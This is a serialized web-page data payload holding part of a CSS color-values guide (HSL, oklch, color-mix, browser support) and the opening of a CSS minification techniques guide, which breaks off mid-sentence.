*\u002F\n",[1560,50859,50860],{"class":1562,"line":1710},[1560,50861,1585],{"class":1570},[16,50863,50864,50865,50867,50868,50870,50871,50873],{},"Modern CSS accepts space-separated values and uses a slash for alpha. The legacy ",[143,50866,5140],{}," function still works but the ",[143,50869,98],{}," is now redundant — ",[143,50872,28868],{}," handles alpha too.",[16,50875,50876],{},"RGB is intuitive for anyone who understands additive color mixing. It maps directly to hex values, making conversion straightforward.",[11,50878,50880],{"id":50879},"hsl-and-hsla","HSL and HSLA",[16,50882,50883],{},"HSL stands for Hue, Saturation, and Lightness. It is often more intuitive than RGB because you can adjust lightness or saturation independently.",[135,50885,50887],{"className":1554,"code":50886,"language":1556,"meta":141,"style":141},".element {\n  color: hsl(239, 74%, 59%);\n  color: hsl(239 74% 59%);        \u002F* Modern syntax *\u002F\n  color: hsl(239 74% 59% \u002F 50%);  \u002F* With alpha *\u002F\n}\n",[143,50888,50889,50895,50924,50952,50982],{"__ignoreMap":141},[1560,50890,50891,50893],{"class":1562,"line":1563},[1560,50892,30399],{"class":1566},[1560,50894,1571],{"class":1570},[1560,50896,50897,50899,50901,50904,50906,50909,50911,50914,50916,50918,50920,50922],{"class":1562,"line":337},[1560,50898,2510],{"class":1576},[1560,50900,1663],{"class":1570},[1560,50902,50903],{"class":1576},"hsl",[1560,50905,1688],{"class":1570},[1560,50907,50908],{"class":1576},"239",[1560,50910,1459],{"class":1570},[1560,50912,50913],{"class":1576},"74",[1560,50915,17990],{"class":1669},[1560,50917,1459],{"class":1570},[1560,50919,19995],{"class":1576},[1560,50921,17990],{"class":1669},[1560,50923,1744],{"class":1570},[1560,50925,50926,50928,50930,50932,50934,50936,50939,50941,50944,50946,50949],{"class":1562,"line":343},[1560,50927,2510],{"class":1576},[1560,50929,1663],{"class":1570},[1560,50931,50903],{"class":1576},[1560,50933,1688],{"class":1570},[1560,50935,50908],{"class":1576},[1560,50937,50938],{"class":1576}," 74",[1560,50940,17990],{"class":1669},[1560,50942,50943],{"class":1576}," 59",[1560,50945,17990],{"class":1669},[1560,50947,50948],{"class":1570},");        ",[1560,50950,50951],{"class":1649},"\u002F* Modern syntax *\u002F\n",[1560,50953,50954,50956,50958,50960,50962,50964,50966,50968,50970,50972,50974,50976,50978,50980],{"class":1562,"line":365},[1560,50955,2510],{"class":1576},[1560,50957,1663],{"class":1570},[1560,50959,50903],{"class":1576},[1560,50961,1688],{"class":1570},[1560,50963,50908],{"class":1576},[1560,50965,50938],{"class":1576},[1560,50967,17990],{"class":1669},[1560,50969,50943],{"class":1576},[1560,50971,17990],{"class":1669},[1560,50973,14237],{"class":1570},[1560,50975,18059],{"class":1576},[1560,50977,17990],{"class":1669},[1560,50979,14724],{"class":1570},[1560,50981,29166],{"class":1649},[1560,50983,50984],{"class":1562,"line":889},[1560,50985,1585],{"class":1570},[193,50987,50988,50998],{},[196,50989,50990],{},[199,50991,50992,50994,50996],{},[202,50993,29085],{},[202,50995,29088],{},[202,50997,4228],{},[211,50999,51000,51009,51019],{},[199,51001,51002,51004,51007],{},[216,51003,29099],{},[216,51005,51006],{},"0–360",[216,51008,29105],{},[199,51010,51011,51013,51016],{},[216,51012,29112],{},[216,51014,51015],{},"0–100%",[216,51017,51018],{},"Intensity of color (0%=gray, 100%=full color)",[199,51020,51021,51023,51025],{},[216,51022,29125],{},[216,51024,51015],{},[216,51026,51027],{},"Brightness (0%=black, 50%=normal, 100%=white)",[16,51029,51030],{},"HSL makes it easy to create color variations by adjusting a single parameter. Need a lighter version? Increase lightness. Need a muted tone? Decrease saturation.",[11,51032,51034],{"id":51033},"modern-color-functions","Modern Color Functions",[16,51036,51037],{},"CSS Color Level 4 introduced several new ways to specify colors with wider gamuts and perceptual uniformity.",[33,51039,51040],{"id":30410},"oklch()",[16,51042,51043,51045],{},[143,51044,51040],{}," is the most promising modern color function. It separates color into Lightness, Chroma (saturation), and Hue in a perceptually uniform space.",[135,51047,51049],{"className":1554,"code":51048,"language":1556,"meta":141,"style":141},".element {\n  color: oklch(0.55 0.22 264);    \u002F* L, C, H *\u002F\n  color: oklch(0.55 0.22 264 \u002F 50%); \u002F* With alpha *\u002F\n}\n",[143,51050,51051,51057,51080,51106],{"__ignoreMap":141},[1560,51052,51053,51055],{"class":1562,"line":1563},[1560,51054,30399],{"class":1566},[1560,51056,1571],{"class":1570},[1560,51058,51059,51061,51063,51065,51067,51070,51073,51075,51077],{"class":1562,"line":337},[1560,51060,2510],{"class":1576},[1560,51062,1663],{"class":1570},[1560,51064,30410],{"class":1576},[1560,51066,1688],{"class":1570},[1560,51068,51069],{"class":1576},"0.55",[1560,51071,51072],{"class":1576}," 0.22",[1560,51074,30422],{"class":1576},[1560,51076,50825],{"class":1570},[1560,51078,51079],{"class":1649},"\u002F* L, C, H *\u002F\n",[1560,51081,51082,51084,51086,51088,51090,51092,51094,51096,51098,51100,51102,51104],{"class":1562,"line":343},[1560,51083,2510],{"class":1576},[1560,51085,1663],{"class":1570},[1560,51087,30410],{"class":1576},[1560,51089,1688],{"class":1570},[1560,51091,51069],{"class":1576},[1560,51093,51072],{"class":1576},[1560,51095,30422],{"class":1576},[1560,51097,14237],{"class":1570},[1560,51099,18059],{"class":1576},[1560,51101,17990],{"class":1669},[1560,51103,5171],{"class":1570},[1560,51105,29166],{"class":1649},[1560,51107,51108],{"class":1562,"line":365},[1560,51109,1585],{"class":1570},[16,51111,51112],{},"The key advantage: equal changes in lightness produce equal perceived brightness differences. This solves the problem where HSL lightness does not match human perception — yellow at 50% HSL lightness looks much brighter than blue at 50%.",[33,51114,51116],{"id":51115},"color-mix","color-mix()",[16,51118,51119,51121],{},[143,51120,51116],{}," lets you blend two colors in any color space.",[135,51123,51125],{"className":1554,"code":51124,"language":1556,"meta":141,"style":141},".element {\n  color: color-mix(in oklch, #4f46e5, #f97316);\n  color: color-mix(in oklch, #4f46e5 80%, #f97316);\n}\n",[143,51126,51127,51133,51159,51187],{"__ignoreMap":141},[1560,51128,51129,51131],{"class":1562,"line":1563},[1560,51130,30399],{"class":1566},[1560,51132,1571],{"class":1570},[1560,51134,51135,51137,51139,51141,51143,51145,51148,51150,51152,51154,51157],{"class":1562,"line":337},[1560,51136,2510],{"class":1576},[1560,51138,1663],{"class":1570},[1560,51140,51115],{"class":1576},[1560,51142,1688],{"class":1570},[1560,51144,7953],{"class":2219},[1560,51146,51147],{"class":2219}," oklch",[1560,51149,1459],{"class":1570},[1560,51151,47273],{"class":1576},[1560,51153,1459],{"class":1570},[1560,51155,51156],{"class":1576},"#f97316",[1560,51158,1744],{"class":1570},[1560,51160,51161,51163,51165,51167,51169,51171,51173,51175,51177,51179,51181,51183,51185],{"class":1562,"line":343},[1560,51162,2510],{"class":1576},[1560,51164,1663],{"class":1570},[1560,51166,51115],{"class":1576},[1560,51168,1688],{"class":1570},[1560,51170,7953],{"class":2219},[1560,51172,51147],{"class":2219},[1560,51174,1459],{"class":1570},[1560,51176,47273],{"class":1576},[1560,51178,9342],{"class":1576},[1560,51180,17990],{"class":1669},[1560,51182,1459],{"class":1570},[1560,51184,51156],{"class":1576},[1560,51186,1744],{"class":1570},[1560,51188,51189],{"class":1562,"line":365},[1560,51190,1585],{"class":1570},[16,51192,51193],{},"This is powerful for creating hover states, borders, and subtle variations without computing values manually.",[33,51195,51197],{"id":51196},"relative-color-syntax","Relative Color Syntax",[16,51199,51200],{},"Relative color syntax lets you modify an existing color by adjusting individual channels.",[135,51202,51204],{"className":1554,"code":51203,"language":1556,"meta":141,"style":141},".element {\n  --base: #4f46e5;\n  color: oklch(from var(--base) calc(l + 0.1) c h);  \u002F* Lighter *\u002F\n  background: oklch(from var(--base) l c calc(h + 30));  \u002F* Hue shifted *\u002F\n}\n",[143,51205,51206,51212,51223,51260,51294],{"__ignoreMap":141},[1560,51207,51208,51210],{"class":1562,"line":1563},[1560,51209,30399],{"class":1566},[1560,51211,1571],{"class":1570},[1560,51213,51214,51217,51219,51221],{"class":1562,"line":337},[1560,51215,51216],{"class":2219},"  --base",[1560,51218,1663],{"class":1570},[1560,51220,47273],{"class":1576},[1560,51222,2228],{"class":1570},[1560,51224,51225,51227,51229,51231,51234,51236,51238,51241,51243,51246,51249,51251,51254,51257],{"class":1562,"line":343},[1560,51226,2510],{"class":1576},[1560,51228,1663],{"class":1570},[1560,51230,30410],{"class":1576},[1560,51232,51233],{"class":1570},"(from ",[1560,51235,2497],{"class":1576},[1560,51237,1688],{"class":1570},[1560,51239,51240],{"class":2219},"--base",[1560,51242,1733],{"class":1570},[1560,51244,51245],{"class":1576},"calc",[1560,51247,51248],{"class":1570},"(l ",[1560,51250,9448],{"class":1669},[1560,51252,51253],{"class":1576}," 0.1",[1560,51255,51256],{"class":1570},") c h);  ",[1560,51258,51259],{"class":1649},"\u002F* Lighter *\u002F\n",[1560,51261,51262,51264,51266,51268,51270,51272,51274,51276,51279,51281,51284,51286,51288,51291],{"class":1562,"line":365},[1560,51263,5665],{"class":1576},[1560,51265,1663],{"class":1570},[1560,51267,30410],{"class":1576},[1560,51269,51233],{"class":1570},[1560,51271,2497],{"class":1576},[1560,51273,1688],{"class":1570},[1560,51275,51240],{"class":2219},[1560,51277,51278],{"class":1570},") l c ",[1560,51280,51245],{"class":1576},[1560,51282,51283],{"class":1570},"(h ",[1560,51285,9448],{"class":1669},[1560,51287,35504],{"class":1576},[1560,51289,51290],{"class":1570},"));  ",[1560,51292,51293],{"class":1649},"\u002F* Hue shifted *\u002F\n",[1560,51295,51296],{"class":1562,"line":889},[1560,51297,1585],{"class":1570},[16,51299,51300],{},"This replaces manual calculations for hover states, focus rings, and palette generation.",[11,51302,5512],{"id":5511},[193,51304,51305,51317],{},[196,51306,51307],{},[199,51308,51309,51311,51313,51315],{},[202,51310,5867],{},[202,51312,5534],{},[202,51314,5542],{},[202,51316,5550],{},[211,51318,51319,51330,51344,51357,51368],{},[199,51320,51321,51324,51326,51328],{},[216,51322,51323],{},"8-digit hex",[216,51325,5537],{},[216,51327,5545],{},[216,51329,5553],{},[199,51331,51332,51335,51338,51341],{},[216,51333,51334],{},"Space-separated rgb()",[216,51336,51337],{},"65+",[216,51339,51340],{},"52+",[216,51342,51343],{},"12.1+",[199,51345,51346,51348,51351,51354],{},[216,51347,51040],{},[216,51349,51350],{},"111+",[216,51352,51353],{},"113+",[216,51355,51356],{},"15.4+",[199,51358,51359,51361,51363,51365],{},[216,51360,51116],{},[216,51362,51350],{},[216,51364,51353],{},[216,51366,51367],{},"16.2+",[199,51369,51370,51373,51376,51379],{},[216,51371,51372],{},"Relative color syntax",[216,51374,51375],{},"119+",[216,51377,51378],{},"128+",[216,51380,51381],{},"16.4+",[16,51383,51384,51385,51388],{},"For production use with modern functions, add fallbacks or use ",[143,51386,51387],{},"@supports"," queries.",[11,51390,51392],{"id":51391},"choosing-the-right-format","Choosing the Right Format",[193,51394,51395,51405],{},[196,51396,51397],{},[199,51398,51399,51401,51403],{},[202,51400,1775],{},[202,51402,29335],{},[202,51404,21086],{},[211,51406,51407,51418,51428,51437,51447],{},[199,51408,51409,51412,51415],{},[216,51410,51411],{},"Quick prototypes",[216,51413,51414],{},"Named colors",[216,51416,51417],{},"Fastest to type",[199,51419,51420,51423,51425],{},[216,51421,51422],{},"Compact values",[216,51424,30483],{},[216,51426,51427],{},"Shortest, universal",[199,51429,51430,51432,51434],{},[216,51431,6680],{},[216,51433,30573],{},[216,51435,51436],{},"Easy to create variations",[199,51438,51439,51442,51444],{},[216,51440,51441],{},"Wide-gamut displays",[216,51443,30410],{},[216,51445,51446],{},"Accesses P3 colors",[199,51448,51449,51452,51455],{},[216,51450,51451],{},"Dynamic theming",[216,51453,51454],{},"oklch + relative colors",[216,51456,51457],{},"Programmatic adjustments",[11,51459,1355],{"id":1354},[41,51461,51462,51465,51473,51478,51483],{},[44,51463,51464],{},"CSS supports named, hex, rgb, hsl, oklch, and several other color formats.",[44,51466,51467,51468,1856,51470,51472],{},"Modern ",[143,51469,28868],{},[143,51471,31383],{}," accept space-separated values and alpha in one function.",[44,51474,51475,51477],{},[143,51476,51040],{}," offers perceptual uniformity and wider gamut support.",[44,51479,51480,51482],{},[143,51481,51116],{}," and relative color syntax eliminate manual color math.",[44,51484,51485],{},"Use hex for compactness, hsl for variations, and oklch for perceptually accurate palettes.",[11,51487,286],{"id":285},[16,51489,51490,51491,468],{},"Convert between HEX, RGB, and HSL instantly with the ",[98,51492,29494],{"href":5989},[11,51494,321],{"id":320},[41,51496,51497,51503],{},[44,51498,51499,51502],{},[98,51500,51501],{"href":30381},"HEX to RGB Guide"," — Understanding color code conversions",[44,51504,51505,51508],{},[98,51506,51507],{"href":30673},"Color Models Explained"," — HEX, RGB, HSL, and CMYK",[2043,51510,51511],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":51513},[51514,51515,51516,51517,51518,51519,51524,51525,51526,51527,51528],{"id":50569,"depth":337,"text":50570},{"id":50576,"depth":337,"text":50577},{"id":50652,"depth":337,"text":50653},{"id":50737,"depth":337,"text":50738},{"id":50879,"depth":337,"text":50880},{"id":51033,"depth":337,"text":51034,"children":51520},[51521,51522,51523],{"id":30410,"depth":343,"text":51040},{"id":51115,"depth":343,"text":51116},{"id":51196,"depth":343,"text":51197},{"id":5511,"depth":337,"text":5512},{"id":51391,"depth":337,"text":51392},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete guide to CSS color values — named colors, HEX codes, RGB, HSL, oklch, color-mix, and relative color syntax with browser support.",{"immutable":363},{"title":30647,"description":51529},"guides\u002Fcss-color-values","VaNvqS61hZ_Rgos-IuDo7sJ7rCjXDHqFE5d9kcn1BII",{"id":51535,"title":50517,"body":51536,"date":2070,"description":52771,"extension":361,"meta":52772,"navigation":363,"path":21356,"readingTime":1717,"seo":52773,"stem":52774,"__hash__":52775},"guides\u002Fguides\u002Fcss-compression-techniques.md",{"type":8,"value":51537,"toc":52749},[51538,51542,51545,51548,51552,51555,51558,51608,51611,51641,51644,51648,51651,51673,51675,51720,51722,51758,51761,51765,51768,51772,51774,51840,51842,51867,51871,51873,51924,51926,51952,51954,51956,52023,52025,52060,52066,52070,52073,52077,52083,52159,52163,52166,52247,52258,52262,52298,52302,52305,52307,52377,52379,52410,52416,52419,52423,52426,52428,52486,52488,52523,52526,52530,52533,52572,52581,52595,52598,52616,52619,52623,52694,52697,52699,52719,52721,52727,52729,52746],[11,51539,51541],{"id":51540},"what-is-css-compression","What Is CSS Compression?",[16,51543,51544],{},"CSS compression (or minification) applies a set of transformations that reduce file size without changing how the browser interprets the styles. Unlike gzip — which compresses files during transfer — compression techniques modify the CSS source itself.",[16,51546,51547],{},"Understanding these techniques helps you write more efficient CSS and choose the right minification tools.",[11,51549,51551],{"id":51550},"comment-removal","Comment Removal",[16,51553,51554],{},"CSS comments are the first thing minifiers strip. They add zero value for the browser but can significantly increase file size.",[16,51556,51557],{},"Before:",[135,51559,51561],{"className":1554,"code":51560,"language":1556,"meta":141,"style":141},"\u002F* Primary button styles — updated 2024 *\u002F\n.btn-primary {\n  \u002F* Blue background for main CTA *\u002F\n  background-color: #0066cc;\n  color: #ffffff; \u002F* White text on blue *\u002F\n}\n",[143,51562,51563,51568,51574,51579,51590,51604],{"__ignoreMap":141},[1560,51564,51565],{"class":1562,"line":1563},[1560,51566,51567],{"class":1649},"\u002F* Primary button styles — updated 2024 *\u002F\n",[1560,51569,51570,51572],{"class":1562,"line":337},[1560,51571,2537],{"class":1566},[1560,51573,1571],{"class":1570},[1560,51575,51576],{"class":1562,"line":343},[1560,51577,51578],{"class":1649},"  \u002F* Blue background for main CTA *\u002F\n",[1560,51580,51581,51583,51585,51588],{"class":1562,"line":365},[1560,51582,2492],{"class":1576},[1560,51584,1663],{"class":1570},[1560,51586,51587],{"class":1576},"#0066cc",[1560,51589,2228],{"class":1570},[1560,51591,51592,51594,51596,51599,51601],{"class":1562,"line":889},[1560,51593,2510],{"class":1576},[1560,51595,1663],{"class":1570},[1560,51597,51598],{"class":1576},"#ffffff",[1560,51600,3664],{"class":1570},[1560,51602,51603],{"class":1649},"\u002F* White text on blue *\u002F\n",[1560,51605,51606],{"class":1562,"line":1710},[1560,51607,1585],{"class":1570},[16,51609,51610],{},"After:",[135,51612,51614],{"className":1554,"code":51613,"language":1556,"meta":141,"style":141},".btn-primary{background-color:#0066cc;color:#fff}\n",[143,51615,51616],{"__ignoreMap":141},[1560,51617,51618,51620,51623,51626,51628,51630,51632,51634,51636,51639],{"class":1562,"line":1563},[1560,51619,2537],{"class":1566},[1560,51621,51622],{"class":1570},"{",[1560,51624,51625],{"class":1576},"background-color",[1560,51627,8037],{"class":1570},[1560,51629,51587],{"class":1576},[1560,51631,36973],{"class":1570},[1560,51633,12607],{"class":1576},[1560,51635,8037],{"class":1570},[1560,51637,51638],{"class":1576},"#fff",[1560,51640,1585],{"class":1570},[16,51642,51643],{},"Comments in development code are essential. But they should never reach production. A minifier removes them automatically.",[11,51645,51647],{"id":51646},"whitespace-stripping","Whitespace Stripping",[16,51649,51650],{},"CSS ignores most whitespace between tokens. Minifiers remove:",[41,51652,51653,51656,51659,51670],{},[44,51654,51655],{},"Leading and trailing whitespace on each line",[44,51657,51658],{},"Blank lines between rules",[44,51660,51661,51662,1459,51664,1459,51666,1466,51668],{},"Spaces around ",[143,51663,51622],{},[143,51665,8230],{},[143,51667,8037],{},[143,51669,36973],{},[44,51671,51672],{},"Newlines and indentation",[16,51674,51557],{},[135,51676,51678],{"className":1554,"code":51677,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  align-items: center;\n  justify-content: space-between;\n}\n",[143,51679,51680,51686,51696,51706,51716],{"__ignoreMap":141},[1560,51681,51682,51684],{"class":1562,"line":1563},[1560,51683,1655],{"class":1566},[1560,51685,1571],{"class":1570},[1560,51687,51688,51690,51692,51694],{"class":1562,"line":337},[1560,51689,12504],{"class":1576},[1560,51691,1663],{"class":1570},[1560,51693,32187],{"class":1576},[1560,51695,2228],{"class":1570},[1560,51697,51698,51700,51702,51704],{"class":1562,"line":343},[1560,51699,32194],{"class":1576},[1560,51701,1663],{"class":1570},[1560,51703,32199],{"class":1576},[1560,51705,2228],{"class":1570},[1560,51707,51708,51710,51712,51714],{"class":1562,"line":365},[1560,51709,32316],{"class":1576},[1560,51711,1663],{"class":1570},[1560,51713,41176],{"class":1576},[1560,51715,2228],{"class":1570},[1560,51717,51718],{"class":1562,"line":889},[1560,51719,1585],{"class":1570},[16,51721,51610],{},[135,51723,51725],{"className":1554,"code":51724,"language":1556,"meta":141,"style":141},".container{display:flex;align-items:center;justify-content:space-between}\n",[143,51726,51727],{"__ignoreMap":141},[1560,51728,51729,51731,51733,51735,51737,51739,51741,51744,51746,51748,51750,51752,51754,51756],{"class":1562,"line":1563},[1560,51730,1655],{"class":1566},[1560,51732,51622],{"class":1570},[1560,51734,41162],{"class":1576},[1560,51736,8037],{"class":1570},[1560,51738,32187],{"class":1576},[1560,51740,36973],{"class":1570},[1560,51742,51743],{"class":1576},"align-items",[1560,51745,8037],{"class":1570},[1560,51747,32199],{"class":1576},[1560,51749,36973],{"class":1570},[1560,51751,41171],{"class":1576},[1560,51753,8037],{"class":1570},[1560,51755,41176],{"class":1576},[1560,51757,1585],{"class":1570},[16,51759,51760],{},"This single transformation often accounts for the largest size reduction — sometimes 30% or more on well-commented stylesheets.",[11,51762,51764],{"id":51763},"shorthand-property-expansion","Shorthand Property Expansion",[16,51766,51767],{},"Minifiers convert longhand properties into their shorthand equivalents when possible.",[33,51769,51771],{"id":51770},"margin-and-padding","Margin and Padding",[16,51773,51557],{},[135,51775,51777],{"className":1554,"code":51776,"language":1556,"meta":141,"style":141},".element {\n  margin-top: 10px;\n  margin-right: 20px;\n  margin-bottom: 10px;\n  margin-left: 20px;\n}\n",[143,51778,51779,51785,51798,51811,51824,51836],{"__ignoreMap":141},[1560,51780,51781,51783],{"class":1562,"line":1563},[1560,51782,30399],{"class":1566},[1560,51784,1571],{"class":1570},[1560,51786,51787,51790,51792,51794,51796],{"class":1562,"line":337},[1560,51788,51789],{"class":1576},"  margin-top",[1560,51791,1663],{"class":1570},[1560,51793,36197],{"class":1576},[1560,51795,1670],{"class":1669},[1560,51797,2228],{"class":1570},[1560,51799,51800,51803,51805,51807,51809],{"class":1562,"line":343},[1560,51801,51802],{"class":1576},"  margin-right",[1560,51804,1663],{"class":1570},[1560,51806,12391],{"class":1576},[1560,51808,1670],{"class":1669},[1560,51810,2228],{"class":1570},[1560,51812,51813,51816,51818,51820,51822],{"class":1562,"line":365},[1560,51814,51815],{"class":1576},"  margin-bottom",[1560,51817,1663],{"class":1570},[1560,51819,36197],{"class":1576},[1560,51821,1670],{"class":1669},[1560,51823,2228],{"class":1570},[1560,51825,51826,51828,51830,51832,51834],{"class":1562,"line":889},[1560,51827,12541],{"class":1576},[1560,51829,1663],{"class":1570},[1560,51831,12391],{"class":1576},[1560,51833,1670],{"class":1669},[1560,51835,2228],{"class":1570},[1560,51837,51838],{"class":1562,"line":1710},[1560,51839,1585],{"class":1570},[16,51841,51610],{},[135,51843,51845],{"className":1554,"code":51844,"language":1556,"meta":141,"style":141},".element{margin:10px 20px}\n",[143,51846,51847],{"__ignoreMap":141},[1560,51848,51849,51851,51853,51855,51857,51859,51861,51863,51865],{"class":1562,"line":1563},[1560,51850,30399],{"class":1566},[1560,51852,51622],{"class":1570},[1560,51854,1876],{"class":1576},[1560,51856,8037],{"class":1570},[1560,51858,36197],{"class":1576},[1560,51860,1670],{"class":1669},[1560,51862,45999],{"class":1576},[1560,51864,1670],{"class":1669},[1560,51866,1585],{"class":1570},[33,51868,51870],{"id":51869},"border","Border",[16,51872,51557],{},[135,51874,51876],{"className":1554,"code":51875,"language":1556,"meta":141,"style":141},".box {\n  border-width: 1px;\n  border-style: solid;\n  border-color: #333;\n}\n",[143,51877,51878,51884,51897,51909,51920],{"__ignoreMap":141},[1560,51879,51880,51882],{"class":1562,"line":1563},[1560,51881,43918],{"class":1566},[1560,51883,1571],{"class":1570},[1560,51885,51886,51889,51891,51893,51895],{"class":1562,"line":337},[1560,51887,51888],{"class":1576},"  border-width",[1560,51890,1663],{"class":1570},[1560,51892,3585],{"class":1576},[1560,51894,1670],{"class":1669},[1560,51896,2228],{"class":1570},[1560,51898,51899,51902,51904,51907],{"class":1562,"line":343},[1560,51900,51901],{"class":1576},"  border-style",[1560,51903,1663],{"class":1570},[1560,51905,51906],{"class":1576},"solid",[1560,51908,2228],{"class":1570},[1560,51910,51911,51913,51915,51918],{"class":1562,"line":365},[1560,51912,17331],{"class":1576},[1560,51914,1663],{"class":1570},[1560,51916,51917],{"class":1576},"#333",[1560,51919,2228],{"class":1570},[1560,51921,51922],{"class":1562,"line":889},[1560,51923,1585],{"class":1570},[16,51925,51610],{},[135,51927,51929],{"className":1554,"code":51928,"language":1556,"meta":141,"style":141},".box{border:1px solid #333}\n",[143,51930,51931],{"__ignoreMap":141},[1560,51932,51933,51935,51937,51939,51941,51943,51945,51947,51950],{"class":1562,"line":1563},[1560,51934,43918],{"class":1566},[1560,51936,51622],{"class":1570},[1560,51938,51869],{"class":1576},[1560,51940,8037],{"class":1570},[1560,51942,3585],{"class":1576},[1560,51944,1670],{"class":1669},[1560,51946,3590],{"class":1576},[1560,51948,51949],{"class":1576}," #333",[1560,51951,1585],{"class":1570},[33,51953,3432],{"id":11362},[16,51955,51557],{},[135,51957,51959],{"className":1554,"code":51958,"language":1556,"meta":141,"style":141},".hero {\n  background-color: #f0f0f0;\n  background-image: url('bg.png');\n  background-repeat: no-repeat;\n  background-position: center top;\n}\n",[143,51960,51961,51967,51978,51993,52005,52019],{"__ignoreMap":141},[1560,51962,51963,51965],{"class":1562,"line":1563},[1560,51964,32789],{"class":1566},[1560,51966,1571],{"class":1570},[1560,51968,51969,51971,51973,51976],{"class":1562,"line":337},[1560,51970,2492],{"class":1576},[1560,51972,1663],{"class":1570},[1560,51974,51975],{"class":1576},"#f0f0f0",[1560,51977,2228],{"class":1570},[1560,51979,51980,51982,51984,51986,51988,51991],{"class":1562,"line":343},[1560,51981,11305],{"class":1576},[1560,51983,1663],{"class":1570},[1560,51985,11310],{"class":1576},[1560,51987,1688],{"class":1570},[1560,51989,51990],{"class":5634},"'bg.png'",[1560,51992,1744],{"class":1570},[1560,51994,51995,51998,52000,52003],{"class":1562,"line":365},[1560,51996,51997],{"class":1576},"  background-repeat",[1560,51999,1663],{"class":1570},[1560,52001,52002],{"class":1576},"no-repeat",[1560,52004,2228],{"class":1570},[1560,52006,52007,52010,52012,52014,52017],{"class":1562,"line":889},[1560,52008,52009],{"class":1576},"  background-position",[1560,52011,1663],{"class":1570},[1560,52013,32199],{"class":1576},[1560,52015,52016],{"class":1576}," top",[1560,52018,2228],{"class":1570},[1560,52020,52021],{"class":1562,"line":1710},[1560,52022,1585],{"class":1570},[16,52024,51610],{},[135,52026,52028],{"className":1554,"code":52027,"language":1556,"meta":141,"style":141},".hero{background:#f0f0f0 url(bg.png) no-repeat center top}\n",[143,52029,52030],{"__ignoreMap":141},[1560,52031,52032,52034,52036,52038,52040,52042,52044,52046,52049,52051,52053,52056,52058],{"class":1562,"line":1563},[1560,52033,32789],{"class":1566},[1560,52035,51622],{"class":1570},[1560,52037,11362],{"class":1576},[1560,52039,8037],{"class":1570},[1560,52041,51975],{"class":1576},[1560,52043,33819],{"class":1576},[1560,52045,1688],{"class":1570},[1560,52047,52048],{"class":2219},"bg.png",[1560,52050,1733],{"class":1570},[1560,52052,52002],{"class":1576},[1560,52054,52055],{"class":1576}," center",[1560,52057,52016],{"class":1576},[1560,52059,1585],{"class":1570},[16,52061,52062,52063,52065],{},"Minifiers also remove quotes around ",[143,52064,12066],{}," values since they're optional in most contexts.",[11,52067,52069],{"id":52068},"value-optimization","Value Optimization",[16,52071,52072],{},"Minifiers apply dozens of small value-level optimizations that add up quickly.",[33,52074,52076],{"id":52075},"zero-values","Zero Values",[16,52078,52079,52080,52082],{},"Any unit attached to ",[143,52081,5285],{}," is unnecessary because zero is zero in every unit.",[193,52084,52085,52098],{},[196,52086,52087],{},[199,52088,52089,52092,52095],{},[202,52090,52091],{},"Before",[202,52093,52094],{},"After",[202,52096,52097],{},"Rule",[211,52099,52100,52115,52129,52144],{},[199,52101,52102,52107,52112],{},[216,52103,52104],{},[143,52105,52106],{},"margin: 0px",[216,52108,52109],{},[143,52110,52111],{},"margin:0",[216,52113,52114],{},"Drop unit from zero",[199,52116,52117,52122,52127],{},[216,52118,52119],{},[143,52120,52121],{},"padding: 0em",[216,52123,52124],{},[143,52125,52126],{},"padding:0",[216,52128,52114],{},[199,52130,52131,52136,52141],{},[216,52132,52133],{},[143,52134,52135],{},"opacity: 0.50",[216,52137,52138],{},[143,52139,52140],{},"opacity:.5",[216,52142,52143],{},"Drop leading zero from decimals",[199,52145,52146,52151,52156],{},[216,52147,52148],{},[143,52149,52150],{},"font-size: 1.0em",[216,52152,52153],{},[143,52154,52155],{},"font-size:1em",[216,52157,52158],{},"Drop trailing zero",[33,52160,52162],{"id":52161},"color-optimization","Color Optimization",[16,52164,52165],{},"CSS supports multiple color formats. Minifiers pick the shortest representation.",[193,52167,52168,52179],{},[196,52169,52170],{},[199,52171,52172,52174,52176],{},[202,52173,52091],{},[202,52175,52094],{},[202,52177,52178],{},"Technique",[211,52180,52181,52194,52206,52219,52233],{},[199,52182,52183,52187,52191],{},[216,52184,52185],{},[143,52186,51598],{},[216,52188,52189],{},[143,52190,51638],{},[216,52192,52193],{},"Hex shorthand",[199,52195,52196,52200,52204],{},[216,52197,52198],{},[143,52199,50722],{},[216,52201,52202],{},[143,52203,50719],{},[216,52205,52193],{},[199,52207,52208,52212,52217],{},[216,52209,52210],{},[143,52211,4321],{},[216,52213,52214],{},[143,52215,52216],{},"#000",[216,52218,52193],{},[199,52220,52221,52226,52230],{},[216,52222,52223],{},[143,52224,52225],{},"rgb(255, 0, 0)",[216,52227,52228],{},[143,52229,12651],{},[216,52231,52232],{},"Named color (shorter)",[199,52234,52235,52240,52244],{},[216,52236,52237],{},[143,52238,52239],{},"rgba(0,0,0,0)",[216,52241,52242],{},[143,52243,47251],{},[216,52245,52246],{},"Named keyword",[16,52248,52249,52250,52253,52254,52257],{},"Not all named colors are shorter than hex. For example, 